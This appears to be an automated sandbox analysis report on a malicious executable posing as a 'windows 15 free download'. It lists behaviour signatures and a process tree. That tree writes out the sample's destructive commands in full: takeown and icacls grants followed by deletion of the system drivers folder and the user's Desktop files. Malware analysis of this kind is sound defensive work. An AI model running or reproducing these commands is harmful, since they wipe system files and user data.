Analysis

  • max time kernel
    95s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/08/2024, 12:07

General

  • Target
    windows 15 free download!.exe
  • Size 2.0MB
  • Sample240803-pad1ssxdmb
  • SHA256 76da19f8fdca22946da2d558d9656458a80cf8cdd52e5cfd27991772044bd7fd
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Drops file in Drivers directory 64 IoCs
  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe
    "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && rd/s/q c:\windows\system32\drivers && exit
      2⤵
      • Drops file in Drivers directory
      • Suspicious use of WriteProcessMemory
      PID:2140
      • C:\Windows\system32\takeown.exe
        takeown /f c:\windows\system32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4156
      • C:\Windows\system32\icacls.exe
        icacls c:\windows\system32\drivers\* /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:856
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe" "emp\windows 15 free download!.exe" && exit
      2⤵
        PID:1780
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /k takeown /f "C:\Users\Admin\Desktop"\* && icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F) && del/s/q "C:\Users\Admin\Desktop"\* && exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:992
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Users\Admin\Desktop"\*
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4708
        • C:\Windows\system32\icacls.exe
          icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F)
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4980

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ

          • Path C:\Users\Admin\DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ
          • Size 33B
          • SHA256 035d41e45719293bb97c9e824c40a43191465ca49f2f81669c662dddd8fcfb36
          • MD5 SHA1 SHA512

          memory/4244-0-0x00007FF6B8150000-0x00007FF6B8429000-memory.dmp

          memory/4244-300-0x00007FF6B8150000-0x00007FF6B8429000-memory.dmp